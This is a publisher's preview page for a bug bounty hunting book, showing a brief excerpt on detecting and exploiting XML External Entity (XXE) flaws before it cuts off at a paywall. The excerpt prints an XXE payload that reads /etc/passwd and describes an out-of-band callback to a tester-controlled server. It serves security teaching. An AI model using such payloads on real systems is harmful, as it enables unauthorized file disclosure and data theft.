Search icon CANCEL
Arrow left icon
Explore Products
Best Sellers
New Releases
Books
Videos
Audiobooks
Learning Hub
Conferences
Free Learning
Arrow right icon
Arrow up icon
GO TO TOP
Bug Bounty Hunting Essentials

You're reading from   Bug Bounty Hunting Essentials Quick-paced guide to help white-hat hackers get through bug bounty programs

Arrow left icon
Product type Paperback
Published in Nov 2018
Publisher
ISBN-13 9781788626897
Length 270 pages
Edition 1st Edition
Tools
Concepts
Arrow right icon
Authors (2):
Arrow left icon
Shahmeer Amir Shahmeer Amir
Author Profile Icon Shahmeer Amir
Shahmeer Amir
Carlos A. Lozano Carlos A. Lozano
Author Profile Icon Carlos A. Lozano
Carlos A. Lozano
Arrow right icon
View More author details
Toc

Table of Contents (15) Chapters Close

Preface 1. Basics of Bug Bounty Hunting 2. How to Write a Bug Bounty Report FREE CHAPTER 3. SQL Injection Vulnerabilities 4. Cross-Site Request Forgery 5. Application Logic Vulnerabilities 6. Cross-Site Scripting Attacks 7. SQL Injection 8. Open Redirect Vulnerabilities 9. Sub-Domain Takeovers 10. XML External Entity Vulnerability 11. Template Injection 12. Top Bug Bounty Hunting Tools 13. Top Learning Resources 14. Other Books You May Enjoy

Detecting and exploiting an XXE


The process to detect this kind vulnerability in general is as follows:

  • If it's possible, download an XML document generated by the application so you know the structure. If not, create a simple template, like this:
<?xml version="1.0" encoding="ISO-8859-1"?> 
<!DOCTYPE foo [ 
<!ELEMENT foo ANY > 
<!ENTITY xxe SYSTEM "file:///etc/passwd" > 
] 
> 
<foo>&xxe;</foo> 
  • See if it's possible to add a reference to a resource; a good trick that's commonly used by attackers is to generate a reverse response that could be captured in a server where we have control—something like this:
GET 144.76.194.66 /XXE/ 10/29/15 1:02 PM Java/1.7.0_51
  • If it's not possible to add an external reference, but you receive an error, modify the request and submit tags:
<cosa></cosa> 

To test. If the error disappears, it means that the parser is accepting the tags as valid, so it might be vulnerable.

  • Also, you can try entering data before or in...
lock icon The rest of the chapter is locked
Register for a free Packt account to unlock a world of extra content!
A free Packt account unlocks extra newsletters, articles, discounted offers, and much more. Start advancing your knowledge today.
Unlock this book and the full library FREE for 7 days
Get unlimited access to 7000+ expert-authored eBooks and videos courses covering every tech area you can think of
Renews at $19.99/month. Cancel anytime